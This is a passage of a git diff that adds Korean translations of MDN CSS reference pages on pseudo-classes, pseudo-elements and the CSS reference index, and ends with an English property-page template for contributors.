+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.position")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Values_and_Units">CSS 값과 단위</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">CSS 값과 단위 소개</a></li>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("radial-gradient()")}}</li>
+ <li>{{cssxref("conic-gradient()")}}</li>
+</ul>
diff --git a/files/ko/web/css/pseudo-classes/index.html b/files/ko/web/css/pseudo-classes/index.html
new file mode 100644
index 0000000000..6870bff41e
--- /dev/null
+++ b/files/ko/web/css/pseudo-classes/index.html
@@ -0,0 +1,166 @@
+---
+title: 의사 클래스
+slug: Web/CSS/Pseudo-classes
+tags:
+  - CSS
+  - Overview
+  - Pseudo-class
+  - Reference
+  - Selectors
+translation_of: Web/CSS/Pseudo-classes
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>의사 클래스</strong>(가상 클래스)는 선택자에 추가하는 키워드로, 선택한 요소가 특별한 상태여야 만족할 수 있습니다. 예를 들어 {{cssxref(":hover")}}를 사용하면 포인터를 올렸을 때에만 글씨 색을 바꾸고 싶을 때 사용할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">/* Any button over which the user's pointer is hovering */
+button:hover {
+  color: blue;
+}</pre>
+
+<p>의사 클래스를 사용하면 문서 트리 콘텐츠와 관련된 경우 뿐만 아니라 탐색기 히스토리({{cssxref(":visited")}} 등), 콘텐츠의 상태(특정 폼 요소에 적용한 {{cssxref(":checked")}} 등), 마우스의 위치(커서가 마우스 위인지 아닌지 알 수 있는 {{cssxref(":hover")}} 등)처럼 외부 인자와 관련된 경우에도 스타일을 적용할 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>는 의사 클래스와 달리 요소의 <strong>특정 부분</strong>에 스타일을 적용할 때 사용합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">selector:pseudo-class {
+  property: value;
+}</pre>
+
+<p>일반적인 클래스와 같이 여러 개의 의사 클래스를 조합해 복잡한 선택자를 만들 수 있습니다.</p>
+
+<h2 id="표준_의사_클래스_색인">표준 의사 클래스 색인</h2>
+
+<div class="index" id="index">
+<ul>
+ <li>{{CSSxRef(":active")}}</li>
+ <li>{{CSSxRef(":any-link")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":blank")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":checked")}}</li>
+ <li>{{CSSxRef(":current")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":default")}}</li>
+ <li>{{CSSxRef(":defined")}}</li>
+ <li>{{CSSxRef(":dir", ":dir()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":disabled")}}</li>
+ <li>{{CSSxRef(":drop")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":empty")}}</li>
+ <li>{{CSSxRef(":enabled")}}</li>
+ <li>{{CSSxRef(":first")}}</li>
+ <li>{{CSSxRef(":first-child")}}</li>
+ <li>{{CSSxRef(":first-of-type")}}</li>
+ <li>{{CSSxRef(":fullscreen")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":future")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":focus")}}</li>
+ <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":focus-within")}}</li>
+ <li>{{CSSxRef(":has", ":has()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":host")}}</li>
+ <li>{{CSSxRef(":host()")}}</li>
+ <li>{{CSSxRef(":host-context()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":hover")}}</li>
+ <li>{{CSSxRef(":indeterminate")}}</li>
+ <li>{{CSSxRef(":in-range")}}</li>
+ <li>{{CSSxRef(":invalid")}}</li>
+ <li>{{CSSxRef(":is", ":is()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":lang", ":lang()")}}</li>
+ <li>{{CSSxRef(":last-child")}}</li>
+ <li>{{CSSxRef(":last-of-type")}}</li>
+ <li>{{CSSxRef(":left")}}</li>
+ <li>{{CSSxRef(":link")}}</li>
+ <li>{{CSSxRef(":local-link")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":not", ":not()")}}</li>
+ <li>{{CSSxRef(":nth-child", ":nth-child()")}}</li>
+ <li>{{CSSxRef(":nth-col", ":nth-col()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":nth-last-child", ":nth-last-child()")}}</li>
+ <li>{{CSSxRef(":nth-last-col", ":nth-last-col()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":nth-last-of-type", ":nth-last-of-type()")}}</li>
+ <li>{{CSSxRef(":nth-of-type", ":nth-of-type()")}}</li>
+ <li>{{CSSxRef(":only-child")}}</li>
+ <li>{{CSSxRef(":only-of-type")}}</li>
+ <li>{{CSSxRef(":optional")}}</li>
+ <li>{{CSSxRef(":out-of-range")}}</li>
+ <li>{{CSSxRef(":past")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":placeholder-shown")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":read-only")}}</li>
+ <li>{{CSSxRef(":read-write")}}</li>
+ <li>{{CSSxRef(":required")}}</li>
+ <li>{{CSSxRef(":right")}}</li>
+ <li>{{CSSxRef(":root")}}</li>
+ <li>{{CSSxRef(":scope")}}</li>
+ <li>{{CSSxRef(":state", ":state()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":target")}}</li>
+ <li>{{CSSxRef(":target-within")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":user-invalid")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":valid")}}</li>
+ <li>{{CSSxRef(":visited")}}</li>
+ <li>{{CSSxRef(":where", ":where()")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Fullscreen")}}</td>
+   <td>{{Spec2("Fullscreen")}}</td>
+   <td>Defined <code>:fullscreen</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#pseudo-classes")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Defines when particular selectors match HTML elements.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Defined <code style="white-space: nowrap;">:any-link</code>, <code>:blank</code>, <code style="white-space: nowrap;">:local-link</code>, <code>:scope</code>, <code>:drop</code>, <code>:current</code>, <code>:past</code>, <code>:future</code>, <code style="white-space: nowrap;">:placeholder-shown</code>, <code style="white-space: nowrap;">:user-invalid</code>, <code style="white-space: nowrap;">:nth-col()</code>, <code style="white-space: nowrap;">:nth-last-col()</code>, <code>:is()</code> and <code>:where()</code>.<br>
+    Changed <code>:empty</code> to behave like {{CSSxRef(":-moz-only-whitespace")}} {{Non-standard_Inline}}.<br>
+    No significant change for other pseudo-classes defined in {{SpecName("CSS3 Selectors")}} and {{SpecName("HTML5 W3C")}} (though semantic meaning not taken over).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Copies the relevant section from the canonical (WHATWG) HTML spec.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Basic UI")}}</td>
+   <td>{{Spec2("CSS3 Basic UI")}}</td>
+   <td>Defined <code>:default</code>, <code>:valid</code>, <code>:invalid</code>, <code>:in-range</code>, <code>:out-of-range</code>, <code>:required</code>, <code>:optional</code>, <code>:read-only</code> and <code>:read-write</code>, but without the associated semantic meaning.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td>Defined <code>:target</code>, <code>:root</code>, <code>:nth-child()</code>, <code>:nth-last-of-child()</code>, <code>:nth-of-type()</code>, <code>:nth-last-of-type()</code>, <code>:last-child</code>, <code>:first-of-type</code>, <code>:last-of-type</code>, <code>:only-child</code>, <code>:only-of-type</code>, <code>:empty</code> and <code>:not()</code>.<br>
+    Defined the syntax of <code>:enabled</code>, <code>:disabled</code>, <code>:checked</code>, and <code>:indeterminate</code>, but without the associated semantic meaning.<br>
+    No significant change for pseudo-classes defined in {{SpecName('CSS2.1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Defined <code>:lang()</code>, <code>:first-child</code>, <code>:hover</code>, and <code>:focus</code>.<br>
+    No significant change for pseudo-classes defined in {{SpecName('CSS1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Defined <code>:link</code>, <code>:visited</code> and <code>:active</code>, but without the associated semantic meaning.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a></li>
+</ul>
diff --git a/files/ko/web/css/pseudo-elements/index.html b/files/ko/web/css/pseudo-elements/index.html
new file mode 100644
index 0000000000..b85c0a2904
--- /dev/null
+++ b/files/ko/web/css/pseudo-elements/index.html
@@ -0,0 +1,124 @@
+---
+title: 의사 요소
+slug: Web/CSS/Pseudo-elements
+tags:
+  - CSS
+  - Overview
+  - Pseudo-element
+  - Reference
+  - Selectors
+translation_of: Web/CSS/Pseudo-elements
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>의사 요소</strong>(가상 요소)는 선택자에 추가하는 키워드로, 선택한 요소의 일부분에만 스타일을 입힐 수 있습니다. 예를 들어 {{cssxref("::first-line")}}을 사용하면 문단 첫 줄의 글씨체만 바꿀 수 있습니다.</p>
+
+<pre class="brush: css">/* The first line of every &lt;p&gt; element. */
+p::first-line {
+  color: blue;
+  text-transform: uppercase;
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 의사 요소와 달리 요소의 <strong>특정 상태</strong>에 스타일을 적용할 때 사용합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">selector::pseudo-element {
+  property: value;
+}</pre>
+
+<p>하나의 선택자에 하나의 의사 요소만 사용할 수 있습니다. 반드시 단순 선택자 뒤에 위치해야 합니다.</p>
+
+<div class="blockIndicator note">
+<p>참고: 규칙을 따라 단일 콜론(<code>:</code>) 대신 이중 콜론(<code>::</code>)을 사용하여 의사 클래스와 의사 요소를 구별해야 합니다. 그러나 과거 W3C 명세에선 이런 구별을 두지 않았으므로 대부분의 브라우저는 기존 의사 요소에 대해 두 구문 모두 지원합니다.</p>
+</div>
+
+<h2 id="표준_의사_요소_색인">표준 의사 요소 색인</h2>
+
+<div class="index" id="index">
+<ul>
+ <li>{{CSSxRef("::after", "::after (:after)")}}</li>
+ <li>{{CSSxRef("::backdrop")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("::before", "::before (:before)")}}</li>
+ <li>{{CSSxRef("::cue")}}</li>
+ <li>{{CSSxRef("::cue-region")}}</li>
+ <li>{{CSSxRef("::first-letter", "::first-letter (:first-letter)")}}</li>
+ <li>{{CSSxRef("::first-line", "::first-line (:first-line)")}}</li>
+ <li>{{CSSxRef("::grammar-error")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("::marker")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("::part", "::part()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("::placeholder")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("::selection")}}</li>
+ <li>{{CSSxRef("::slotted", "::slotted()")}}</li>
+ <li>{{CSSxRef("::spelling-error")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>브라우저</th>
+   <th>최하위 버전</th>
+   <th>지원</th>
+  </tr>
+  <tr>
+   <td rowspan="2">Internet Explorer</td>
+   <td>8.0</td>
+   <td><code>:pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td>9.0</td>
+   <td><code>:pseudo-element ::pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">Firefox (Gecko)</td>
+   <td>1.0 (1.0)</td>
+   <td><code>:pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td>1.0 (1.5)</td>
+   <td><code>:pseudo-element ::pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">Opera</td>
+   <td>4.0</td>
+   <td><code>:pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td>7.0</td>
+   <td><code>:pseudo-element ::pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td>Safari (WebKit)</td>
+   <td>1.0 (85)</td>
+   <td><code>:pseudo-element ::pseudo-element</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS1")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Defined pseudo-classes and pseudo-elements.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a></li>
+</ul>
diff --git a/files/ko/web/css/reference/index.html b/files/ko/web/css/reference/index.html
new file mode 100644
index 0000000000..21ee49d424
--- /dev/null
+++ b/files/ko/web/css/reference/index.html
@@ -0,0 +1,190 @@
+---
+title: CSS 참고서
+slug: Web/CSS/Reference
+tags:
+  - CSS
+  - Guide
+  - Overview
+  - Reference
+  - 'l10n:priority'
+translation_of: Web/CSS/Reference
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS 참고서</strong>를 이용해 <a href="#키워드_색인">알파벳 순서로 정리한</a> 모든 표준 <a href="/ko/docs/Web/CSS">CSS</a> 속성, <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>, <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>, <a href="/ko/docs/Web/CSS/CSS_Types">CSS 자료형</a>과 <a href="/ko/docs/Web/CSS/At-rule">@규칙</a>을 찾아보세요. 또한 <a href="#선택자">유형별로 정리한 CSS 선택자</a>와 <a href="#개념">주요 CSS 개념</a>도 찾아볼 수 있습니다. 추가로 간단한 <a href="#DOM-CSS_CSSOM">DOM-CSS / CSSOM</a> 참조도 들어 있습니다.</p>
+
+<h2 id="기본_규칙_구문">기본 규칙 구문</h2>
+
+<h3 id="스타일_규칙_구문">스타일 규칙 구문</h3>
+
+<pre class="syntaxbox notranslate"><var>style-rule</var> <strong>::=</strong>
+    <var>selectors-list</var> <strong>{</strong>
+      <var>properties-list</var>
+    <strong>}</strong>
+</pre>
+
+<p>... where :</p>
+
+<pre class="syntaxbox notranslate"><var>selectors-list</var> <strong>::=</strong>
+    <var>selector</var>[<strong>:</strong><var>pseudo-class</var>] [<strong>::</strong><var>pseudo-element</var>]
+    [<strong>,</strong> <var>selectors-list</var>]
+
+<var>properties-list</var> <strong>::=</strong>
+    [<var>property</var> <strong>:</strong> <var>value</var>] [<strong>;</strong> <var>properties-list</var>]
+</pre>
+
+<p>아래 <a href="#선택자">선택자</a>, <a href="#의사_클래스">의사 클래스</a>, <a href="#의사_요소">의사 요소</a> 목록을 참고하세요. 각 <em><code>value</code></em>의 구문은 지정한 <em><code>property</code></em>가 정의하는 자료형에 따라 다릅니다.</p>
+
+<h4 id="스타일_규칙_예제">스타일 규칙 예제</h4>
+
+<pre class="brush: css notranslate">strong {
+  color: red;
+}
+
+div.menu-bar li:hover &gt; ul {
+  display: block;
+}
+</pre>
+
+<p>CSS 선택자 구문을 설명하는 입문자 단계의 소개 부분은 <a href="/ko/docs/Learn/CSS/Introduction_to_CSS/%EC%84%A0%ED%83%9D%EC%9E%90">이 자습서</a>에서 찾아볼 수 있습니다. 규칙 정의에서 <a href="/ko/docs/Web/CSS/syntax">구문</a> 오류가 하나라도 발생하면 규칙 전체가 유효하지 않다는 점을 명심하세요. 유효하지 않은 규칙은 브라우저가 무시합니다. CSS 규칙 정의는 모두 (ASCII) <a href="https://www.w3.org/TR/css-syntax-3/#intro">텍스트에 기반</a>하지만, DOM-CSS / CSSOM (규칙 관리 시스템)은 <a href="https://www.w3.org/TR/cssom/#introduction">객체에 기반</a>합니다.</p>
+
+<h3 id="규칙_구문">@규칙 구문</h3>
+
+<p>@규칙 체계는 매우 다양하므로 필요한 구체적인 구문을 찾으려면 <a href="/ko/docs/Web/CSS/At-rule">@규칙</a>을 봐주세요.</p>
+
+<h2 id="키워드_색인">키워드 색인</h2>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 이 색인에 있는 속성 이름에는 CSS 표준 이름과 다른 <a href="/ko/docs/Web/CSS/CSS_Properties_Reference">JavaScript 이름</a>이 들어가지 않습니다.</p>
+</div>
+
+<div>{{CSS_Ref}}</div>
+
+<h2 id="선택자">선택자</h2>
+
+<p>다음은 <a href="/ko/docs/Web/CSS/CSS_Selectors">선택자</a> 목록입니다. 선택자를 사용하면 DOM 요소의 다양한 기능에 기반한 조건을 통해 스타일을 입힐 수 있습니다.</p>
+
+<h3 id="기본_선택자">기본 선택자</h3>
+
+<p><strong>기본 선택자</strong>는 선택자의 기초를 이루며, 조합을 통해 더 복잡한 선택자를 생성합니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Universal_selectors">전체 선택자</a> <code>*</code>, <code>ns|*</code>, <code>*|*</code>, <code>|*</code></li>
+ <li><a href="/ko/docs/Web/CSS/Type_selectors">태그 선택자</a> <em><code>elementname</code></em></li>
+ <li><a href="/ko/docs/Web/CSS/Class_selectors">클래스 선택자</a> <code>.<em>classname</em></code></li>
+ <li><a href="/ko/docs/Web/CSS/ID_selectors">ID 선택자</a> <code>#<em>idname</em></code></li>
+ <li><a href="/ko/docs/Web/CSS/Attribute_selectors">속성 선택자</a> <code>[<em>attr</em>=<em>value</em>]</code></li>
+</ul>
+
+<h3 id="그룹_선택자">그룹 선택자</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/Selector_list">선택자 목록</a> <code><em>A</em>, <em>B</em></code></dt>
+ <dd>A와 B 요소를 모두 선택합니다. 일치하는 여러가지 요소를 선택할 때 사용합니다.</dd>
+</dl>
+
+<h3 id="결합자">결합자</h3>
+
+<p>결합자는 "<em><code>A</code></em>는 <em><code>B</code></em>의 자식", "<em><code>A</code></em>는 <em><code>B</code></em>와 인접 요소"처럼, 두 개 이상의 선택자끼리 관계를 형성합니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/%EC%9D%B8%EC%A0%91_%ED%98%95%EC%A0%9C_%EC%84%A0%ED%83%9D%EC%9E%90">인접 형제 결합자</a> <code><em>A</em> + <em>B</em></code></dt>
+ <dd>요소 <em><code>A</code></em>와 <em><code>B</code></em>가 같은 부모를 가지며 <em><code>B</code></em>가 <em><code>A</code></em>를 바로 뒤따라야 하도록 지정합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/General_sibling_combinator">일반 형제 결합자</a> <code><em>A</em> ~ <em>B</em></code></dt>
+ <dd>요소 <em><code>A</code></em>와 <em><code>B</code></em>가 같은 부모를 가지며 <em><code>B</code></em>가 <em><code>A</code></em>를 뒤따라야 하도록 지정합니다. 그러나 <em><code>B</code></em>가 <em><code>A</code></em>의 바로 옆에 위치해야 할 필요는 없습니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Child_combinator">자식 결합자</a> <code><em>A</em> &gt; <em>B</em></code></dt>
+ <dd>요소 <em><code>B</code></em>가 <em><code>A</code></em>의 바로 밑에 위치해야 하도록 지정합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Descendant_combinator">자손 결합자</a> <code><em>A</em> <em>B</em></code></dt>
+ <dd>요소 <em><code>B</code></em>가 <em><code>A</code></em>의 밑에 위치해야 하도록 지정합니다. 그러나 <em><code>B</code></em>가 <em><code>A</code></em>의 바로 아래에 있을 필요는 없습니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Column_combinator">열 결합자</a> <code><em>A</em> || <em>B</em></code> {{experimental_inline}}</dt>
+ <dd>요소 <em><code>B</code></em>가 표의 열 <em><code>A</code></em> 안에 위치해야 하도록 지정합니다. 여러 열에 걸친 요소는, 각각의 열 모두에 대해 안쪽에 위치한 것으로 간주합니다.</dd>
+</dl>
+
+<h3 id="의사_클래스요소">의사 클래스/요소</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a> <code>:</code></dt>
+ <dd>요소의 특정 상태를 선택합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a> <code>::</code></dt>
+ <dd>HTML이 포함하지 않은 객체를 나타냅니다.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>같이 보기:</strong> <a href="https://www.w3.org/TR/selectors/#overview">Selectors Level 4 명세의 선택자 목록.</a></p>
+</div>
+
+<h2 id="개념">개념</h2>
+
+<h3 id="구문과_의미">구문과 의미</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Syntax">CSS 구문</a></li>
+ <li><a href="/ko/docs/Web/CSS/At-rule">@-규칙</a></li>
+ <li><a href="/ko/docs/Web/CSS/Cascade">종속</a></li>
+ <li><a href="/ko/docs/Web/CSS/Comments">주석</a></li>
+ <li><a href="/ko/docs/Glossary/Descriptor_(CSS)">서술자</a></li>
+ <li><a href="/ko/docs/Web/CSS/inheritance">상속</a></li>
+ <li><a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a></li>
+ <li><a href="/ko/docs/Web/CSS/Specificity">명시도</a></li>
+ <li><a href="/ko/docs/Web/CSS/Value_definition_syntax">값 정의 구문</a></li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/actual_value">실제값</a></li>
+ <li><a href="/ko/docs/Web/CSS/computed_value">계산값</a></li>
+ <li><a href="/ko/docs/Web/CSS/initial_value">초깃값</a></li>
+ <li><a href="/ko/docs/Web/CSS/resolved_value">결정값</a></li>
+ <li><a href="/ko/docs/Web/CSS/specified_value">지정값</a></li>
+ <li><a href="/ko/docs/Web/CSS/used_value">사용값</a></li>
+</ul>
+
+<h3 id="레이아웃">레이아웃</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 맥락</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델</a></li>
+ <li><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a></li>
+ <li><a href="/ko/docs/Web/CSS/Layout_mode">레이아웃 모드</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 상쇄</a></li>
+ <li><a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">쌓임 맥락</a></li>
+ <li><a href="/ko/docs/Web/Guide/CSS/Visual_formatting_model">시각적 서식 맥락</a></li>
+</ul>
+
+<h2 id="DOM-CSS_CSSOM">DOM-CSS / CSSOM</h2>
+
+<h3 id="주요_객체_유형">주요 객체 유형</h3>
+
+<ul>
+ <li>{{DOMxRef("DocumentOrShadowRoot.styleSheets")}}</li>
+ <li><code>{{DOMxRef("StyleSheetList", "styleSheets", "", 1)}}[i].{{DOMxRef("CSSRuleList", "cssRules", "", 1)}}</code></li>
+ <li><code>cssRules[i].{{DOMxRef("CSSRule.cssText", "cssText", "", 1)}}</code> <span style="white-space: nowrap;">(selector &amp; style)</span></li>
+ <li><code>cssRules[i].{{DOMxRef("CSSStyleRule.selectorText", "selectorText", "", 1)}}</code></li>
+ <li>{{DOMxRef("HTMLElement.style")}}</li>
+ <li><code>HTMLElement.style.{{DOMxRef("CSSStyleDeclaration.cssText", "cssText", "", 1)}}</code> (just style)</li>
+ <li>{{DOMxRef("Element.className")}}</li>
+ <li>{{DOMxRef("Element.classList")}}</li>
+</ul>
+
+<h3 id="중요_메서드">중요 메서드</h3>
+
+<ul>
+ <li>{{DOMxRef("CSSStyleSheet.insertRule()")}}</li>
+ <li>{{DOMxRef("CSSStyleSheet.deleteRule()")}}</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Mozilla_Extensions">Mozilla CSS 확장</a> (<code>-moz-</code> 접두사 사용)</li>
+ <li><a href="/ko/docs/Web/CSS/WebKit_Extensions">WebKit CSS 확장</a> (대다수 <code>-webkit-</code> 접두사 사용)</li>
+ <li><a href="/ko/docs/Web/CSS/Microsoft_Extensions">Microsoft CSS 확장</a> (<code>-ms-</code> 접두사 사용)</li>
+</ul>
+
+<h2 id="외부_링크">외부 링크</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/TR/CSS/#indices">CSS 색인 (w3.org)</a></li>
+</ul>
diff --git a/files/ko/web/css/reference/property_template/index.html b/files/ko/web/css/reference/property_template/index.html
new file mode 100644
index 0000000000..9df3680b49
--- /dev/null
+++ b/files/ko/web/css/reference/property_template/index.html
@@ -0,0 +1,131 @@
+---
+title: Property Template
+slug: Web/CSS/Reference/Property_Template
+tags:
+  - CSS
+  - MDN Meta
+translation_of: MDN/Contribute/Howto/Document_a_CSS_property/Property_template
+---
+<p>{{MDNSidebar}}</p>
+
+<div class="blockIndicator note">
+<p><span class="seoSummary">This is a template page for CSS property. Please use this as a raw template when you create a new CSS property page.</span><br>
+ <em>Comment in italics are information about how to use part of the template</em></p>
+</div>
+
+<p>{{CSSRef}}</p>
+
+<p><em>Add the non-standard header if the property is not on the standard track. In the summary section, in a note, describe how to achieve its effect using standard Open Web technologies.</em></p>
+
+<p>{{Non-standard_Header}}</p>
+
+<p><em>Add the experimental header if in your judgement the property's behavior is likely to change in future, for example because of very immature specifications or competing incompatible implementations.</em></p>
+
+<p>{{SeeCompatTable}}</p>
+
+<p><em>Description of the property. It must start by "The <code>xyz</code> CSS property" followed by a one-sentence description. The first paragraph of this introduction will be used by default as the description of the page.</em></p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Placeholder for any special messages.</p>
+</div>
+
+<p><em>But don't add several notes. It should be really important, or be part of the description!</em></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css;">/* Keyword values */
+property: value1;
+property: value2;
+
+/* &lt;length&gt; values */
+property: 12.8em;   /* A valid length */
+
+/* Global values */
+property: inherit;  /* &lt;-- To remember those are a possible values */
+property: initial;
+property: unset;
+</pre>
+
+<p><em>The second part of the is a simple translation of the what the formal syntax tells. It is aimed at medium-level users that will not understand well the formal syntax. </em></p>
+
+<h3 id="Values">Values</h3>
+
+<p><em>Each element of the formal syntax must be explained</em></p>
+
+<dl>
+ <dt><code>value_1</code></dt>
+ <dd>Is a keyword meaning...</dd>
+ <dt><code>value_2</code> {{Non-standard_Inline}} {{Experimental_Inline}}</dt>
+ <dd>Is a keyword meaning</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<p><em>The formal syntax must be taken from the spec and added to the <a href="https://github.com/mdn/data">MDN data repository</a>. It is an important tool to get precise syntax information for advanced users.</em></p>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p><em>Add this only if there is such an example. No dead link here.</em></p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css"><em>elementName {
+  property: value;
+  thisis: "example";
+  dream: 10000000mm;
+  love: "danger";
+}</em></pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html"><em>&lt;elementName&gt;foo bar&lt;/elementName&gt;</em></pre>
+
+<h3 id="Result">Result</h3>
+
+<p><em>{{EmbedLiveSample("Examples")}}</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p><em>Exclusively use this standard table. Place older spec on the bottom. Use the templates SpecName() for the name and Spec2() for the status. That way, when the spec progress on the standard track, or move, the table content will be automatically adapted.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Animations", "#fake-link", "fake-value")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td>No change from CSS 2.1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "#fake-link", "fake value")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
